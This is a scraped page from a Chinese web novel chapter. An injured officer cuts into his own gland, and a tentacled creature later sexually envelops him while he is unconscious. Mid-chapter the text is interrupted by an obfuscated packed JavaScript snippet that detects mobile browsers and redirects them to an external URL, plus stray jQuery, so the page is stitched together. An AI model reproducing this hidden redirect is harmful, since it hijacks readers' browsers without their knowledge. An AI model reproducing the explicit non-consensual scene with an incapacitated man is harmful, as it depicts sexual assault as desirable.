2. ^o^(第2页)

    要命……

    人类的腺体作为全身最脆弱的地方,包含数万条神经,谢浔这一刀下去,疼的大脑空白,短暂失忆几秒。

    半个多小时后,谢浔从浴室出来,水珠顺着发梢洇入毛巾,脖颈处糊了几张纸,每走一步都带着迟疑。

    他有些懵地拿起桌上的玻璃管对光,晕乎的感慨,现在的技术做得真好。

    没再细想,谢浔顺手将试管丢进垃圾桶,拿起另一边的抑制剂,灯光下alpha皮肤偏白,注入时错了一眼,胳膊上多个冒血的孔。

    眼眸迟缓移到抽纸上,两秒后,液体被缓缓推入血管里,针尖拔出时带出一两滴。

    脖颈处叠加几张纸巾,随意擦了擦手臂。

    谢浔给家用机器人输入指令后,躺床上看个人终端,回复司令的慰问。

    三言两语,极尽敷衍。

    终端虚拟屏映照半边褪去血色的脸颊,他半阖着眼,困得不省人事,连腺体的伤都不想处理,只垫了块毛巾在下面。

    专业的事还是交给专业人,他真会把自己搞死。

    浴室内传来微弱的水声,机器人抱着衣服丢进阳台的洗衣机。

    祂躺在洗手台里清洗身上的灰尘,模拟章鱼形态荡来荡去,触手们非常喜欢水。突然,祂望向门,空气中有微不可闻的血气。

    淡到几乎不存在。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372689|168192||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    p>静谧无边的月光落在晾衣架新添衣服,室内最后一丝光源骤然熄灭,机器人身前的蓝色的充能灯亮起,漆黑如墨的触手悄悄从浴室探出。

    房子大且陌生,只有熟悉的信息素味从卧室传来,像某种精神波动引绳。

    液体顺着门隙无声潜入,触手勾着床单小心地爬到谢浔身边,确定感愈加强烈。

    “……哥哥?”祂小声喊了句。

    谢浔完全疼昏过去,没有意识,察觉不到那么小又可怜巴巴的东西。

    祂着急地找,缓慢揭开谢浔腺体处沾血的纸巾,伤口不大,只有一节小拇指长,不知道深浅。

    触手贴着伤口分泌粘液,谢浔身上格外烫,烫的祂想哭,伤口以肉眼可见的速度愈合,连之前的月牙印也消失殆尽。

    祂沉默又安静地埋在谢浔心脏口,听对方蓬勃跳动的心脏,沉寂过后的委屈反扑的又猛又急,眼泪哗啦哗啦落在被褥上,哭地直咳。

    祂终于知道上校腺体处的伤是怎么来的。

    一点都不好,一点都不好,一点都不好,不好,不好,不好,不好,不好,不好,不好,不好,不好…………

    浓稠的墨水从房间角落化开,攻城略地般沾染每寸,清扫机器人强制关机休眠。

    墨水包裹整个房间,明晃晃的占有,祂的气息笼罩着谢浔,从内到外,逐渐渗透。

    阴冷感从后背延伸,谢浔潜意识察觉不对,眼睛转动,始终抬不起眼皮。

    他像是被拉入海底深渊,铺天盖地的黑暗席卷感官,四肢被牢牢固定,酸软无力,信息素紊乱导致的燥热难耐,在冰凉的触感附在身上时,达到前所未有的舒爽。

    祂会说话,只是现在的身体没学会,液体包裹着身下人,祂用自己的方法表达喜欢和爱,断断续续道:“哥哥……吃掉我吧。”

    声音透过颅骨传入耳膜,有些模糊不清,谢浔慌神,吃掉什么?

    为什么……吃掉?

    液体跟随主人的意识漫无目的游走,解开alpha的皮带,牛仔裤被轻易褪到膝弯,触手顺着腿根滑进,继续脱下一层。

    冰凉感刺激的谢浔一抖,指尖陷入皮肉,却被液体敏锐察觉到,它们争先恐后撑开谢浔的手,紧紧包裹着,掌控着。

    青年受不住刺激,胸膛剧烈起伏,很快蒙层细汗,眨眼间消失不见。

    谢浔死死挣扎着,终于睁开眼睛,只看到一团黑色压在身上。

    他不知道是在梦里还是在现实中醒来。

    腺体啃咬泛红,常青藤信息素弥散,青年像被丢入蛇窝里的食物,被过分吞吃入腹。

    液体化为触手送进谢浔的嘴里,又软又凉,浓重执念的呓语在谢浔耳边响起,几乎疯狂,“哥哥……吃掉我,就可以休息了,吃了我吧……上校哥哥……。”

    黑暗框住肢体,潮汐涌来,锁着青年的肩膀,咬上青年的下颌,留恋索吻。

    泪水从青年眼角滑落,谢浔睁着雾气蒙蒙的双眼看着浓重的黑影起伏,他发不出声音,迷糊的音节在此刻响起,“上校哥哥,哥哥,哥……”

    一遍又一遍,一次比一次深。

    诡异的情绪盘旋在心口经久不散,他像砧板上的鱼,任由人细心宰割,不放过每寸。

    祂继续央求谢浔吃掉祂,似乎只有吃掉才能达到祂的目的。

    祂的五脏六腑,心脏脾胃全部,全部都可以送给哥哥。